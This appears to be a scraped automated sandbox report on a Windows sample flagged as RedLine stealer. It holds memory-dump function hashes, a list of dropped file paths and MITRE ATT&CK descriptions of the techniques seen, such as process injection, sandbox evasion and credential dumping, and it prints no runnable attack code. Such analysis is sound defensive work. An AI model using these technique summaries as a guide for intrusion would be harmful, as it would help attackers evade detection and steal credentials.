Memory Dump Source

Source File: 0000000E.00000002.1984856741.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6580000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 973100356912e3fc2b049ca6d0279c0eda37e66ca418de1f29b25fb246accee3
Instruction ID: 364c8b32492a604db4b199ba557ee8becdce8912769bb0f1f3a8cb373f922e1d
Opcode Fuzzy Hash: 973100356912e3fc2b049ca6d0279c0eda37e66ca418de1f29b25fb246accee3
Instruction Fuzzy Hash: 9BE15A30B002149FEB44EFA8C951A6A7BF6BF85705F508449E5029F7E6CB71E849CF92

Function 06581534 Relevance: .3, Instructions: 340COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1984856741.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6580000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4bf18ee143b47af9306215c6aca0a5278a51572cfb2fffe991079ae6ff87632
Instruction ID: 71c4b768aceb264c546a219027f1c2159246725edd860050685772ab846a64ed
Opcode Fuzzy Hash: f4bf18ee143b47af9306215c6aca0a5278a51572cfb2fffe991079ae6ff87632
Instruction Fuzzy Hash: B8C14B34B00604AFDB14DF98C995D6D7BB2FF89700FA18059EA02AB7A1C672FC15CB56

Function 06581308 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1984856741.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6580000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b80eac953f733075ac23ff820579ad215245d9b147ece8144443b32f4ec74a25
Instruction ID: 127bcc22c1dd1e187d8a469c2ff82ccc9c340bad778e9f8c86b34753fc1f51da
Opcode Fuzzy Hash: b80eac953f733075ac23ff820579ad215245d9b147ece8144443b32f4ec74a25
Instruction Fuzzy Hash: 79613832B047068FCB64AF79D84057ABBE5FFC5211B14857AD846DB621EF31C846CBA1

Function 0658338B Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1984856741.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6580000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: faf110c94943fc7c08b4ec5fb965043560c2c35b6f5a1dbc538e3196e35c77d8
Instruction ID: 45f3483ba16a4716e984a8440edfda8def0e07f4affc50bb6757ada407df35cf
Opcode Fuzzy Hash: faf110c94943fc7c08b4ec5fb965043560c2c35b6f5a1dbc538e3196e35c77d8
Instruction Fuzzy Hash: 50214835B00104AFDB54DF69D894EA9BBB2FF88714F1180A9E9099F3A2DE31EC05CB50

Function 029BD054 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1965513842.00000000029BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 029BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29bd000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 473c6ba87c6d03471ee2744602d360c0c0427fc034da9d2acf9762b16847edde
Instruction ID: 254010609ed15005f781bd0e64a093f493cbe24c3ebf1b606cb22bddf3449b3d
Opcode Fuzzy Hash: 473c6ba87c6d03471ee2744602d360c0c0427fc034da9d2acf9762b16847edde
Instruction Fuzzy Hash: 4D21D675504240EFDB1ADF14DAC4B66BFA9FF88314F24C669E9090B256C336D416CBB1

Function 029CD2F4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1965581601.00000000029CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 029CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29cd000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6b47edd2e904aa436eff40b586bf90cc6dd10f6d31295e7179ea2da70f1b332
Instruction ID: 4e7531a5decd923d4b1c13cd70beda336dedad8a1be0fa1c7b4b44ba7609e9da
Opcode Fuzzy Hash: f6b47edd2e904aa436eff40b586bf90cc6dd10f6d31295e7179ea2da70f1b332
Instruction Fuzzy Hash: E421A7B5604244DFDB05DF14D9C4B1ABBA5FB84328F34CA7DD8494B285C37AD446C6B2

Function 029CD4A4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1965581601.00000000029CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 029CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29cd000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98f7003abcb946302ece208deea36ba1cb734fba7af8ce6d61dc57382aaf8140
Instruction ID: 5410867dad2ebadcc01269bf81b4a953e6f8e070ccffe3e75825b0b3cff7a861
Opcode Fuzzy Hash: 98f7003abcb946302ece208deea36ba1cb734fba7af8ce6d61dc57382aaf8140
Instruction Fuzzy Hash: 8721D3B1604244AFDB05DF14D5C4B26BBA5FB84318F34C97DD90A4B296C736D406CA72

Function 029BD04F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1965513842.00000000029BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 029BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29bd000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85e589ff89d53fefa928555ed391731ad88d74b974b24a20ba51987b010bfd2c
Instruction ID: 924edea556f5950780305af5e412bd483541338830f7725f5da42b5a2da256fc
Opcode Fuzzy Hash: 85e589ff89d53fefa928555ed391731ad88d74b974b24a20ba51987b010bfd2c
Instruction Fuzzy Hash: 93219D76504280DFCB1ADF10DAC4B56BF72FF88324F24C6A9D9490A256C33AD426CBA1

Function 029CD49F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1965581601.00000000029CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 029CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29cd000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bc96cb8dbab4a459d35c79ebbe5ba2a9dff6c5f08df11ade35b896c854f64ae
Instruction ID: 9ed795c4f569ad1c176607ca4ef8cee6521b5551c9cf9b3c1ae346601681ba73
Opcode Fuzzy Hash: 5bc96cb8dbab4a459d35c79ebbe5ba2a9dff6c5f08df11ade35b896c854f64ae
Instruction Fuzzy Hash: 6111BE75904280CFCB02CF14C5C4B15BBA1FB84218F34C6AED8494B256C33AD40ACB62

Function 029CD2EF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1965581601.00000000029CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 029CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29cd000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 118f051af2fa4d3b71157da4c1d703aecab942a5cdb4903c1e78cbe3821e71d1
Instruction ID: 4330c2117499c1cae4cd9ef00898100f9f6d23666334996a7e6894a26c7a6175
Opcode Fuzzy Hash: 118f051af2fa4d3b71157da4c1d703aecab942a5cdb4903c1e78cbe3821e71d1
Instruction Fuzzy Hash: 2F119D76504280DFDB12CF14D5C4B19BB62FB84328F24C6AED8494B656C33AD40ACBA2

Function 029BDA41 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1965513842.00000000029BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 029BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29bd000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f91c697266932a418a49224038d8ef72a59212f439b979ae6919828af9135ebd
Instruction ID: 69eb5c1e91d5df39a2cd382dc53eec6df3ad52cb697d4d4c172cf61eddfcdbd8
Opcode Fuzzy Hash: f91c697266932a418a49224038d8ef72a59212f439b979ae6919828af9135ebd
Instruction Fuzzy Hash: 8D01DB7110D3449AE7119A15CEC4BA6BFECDF52325F1CC95AED090F282C7799840CBB1

Function 029BDA40 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.1965513842.00000000029BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 029BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29bd000_TmfmVKU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe328d75f1ed86c521db9b5bb90a7ebfdbfab9008c691390fa8ff6de6450231f
Instruction ID: bc4414f2935b2b0136762fe2301c008a67e10cda2f6c8a7ebae5056acd916d16
Opcode Fuzzy Hash: fe328d75f1ed86c521db9b5bb90a7ebfdbfab9008c691390fa8ff6de6450231f
Instruction Fuzzy Hash: 47F06272509344AEE7118A15CD88B62FFACEF51734F18C55AED084E286C3799844CBB1

Non-executed Functions

Function 06580D50 Relevance: 10.3, Strings: 8, Instructions: 300COMMON

Download Yara Rule

Strings

$^q, xrefs: 06580F50
$^q, xrefs: 06580F76
$^q, xrefs: 06580E4E
$^q, xrefs: 06580F82
$^q, xrefs: 06580E42
$^q, xrefs: 06580DCC
$^q, xrefs: 06580E1C
$^q, xrefs: 06580F00

Memory Dump Source

Source File: 0000000E.00000002.1984856741.0000000006580000.00000040.00000800.00020000.00000000.sdmp, Offset: 06580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6580000_TmfmVKU.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: c1b4b8ac8ac542df5cbbb988cf83bde1a59e3f8c92873baefaf43d915515fe74
Instruction ID: 40a755334b546e67c95de2765a77bf16eb2285480207b37092fa1ef0db2b1567
Opcode Fuzzy Hash: c1b4b8ac8ac542df5cbbb988cf83bde1a59e3f8c92873baefaf43d915515fe74
Instruction Fuzzy Hash: 66B1D230B002498FDB55EB69C8549BEBBF6BF88310B14C46AE406EB7A1DB35DC45CB91

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report lZ8NRWShfC.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\TmfmVKU.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\lZ8NRWShfC.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_52msmxeb.01u.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5mmr1ppu.3wj.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_adcjjee3.3pg.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dzweimg5.oh3.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ei23xkxp.33v.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g3n1e3u5.zyf.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pp5q1iad.nxt.ps1

Windows Analysis Report
lZ8NRWShfC.exe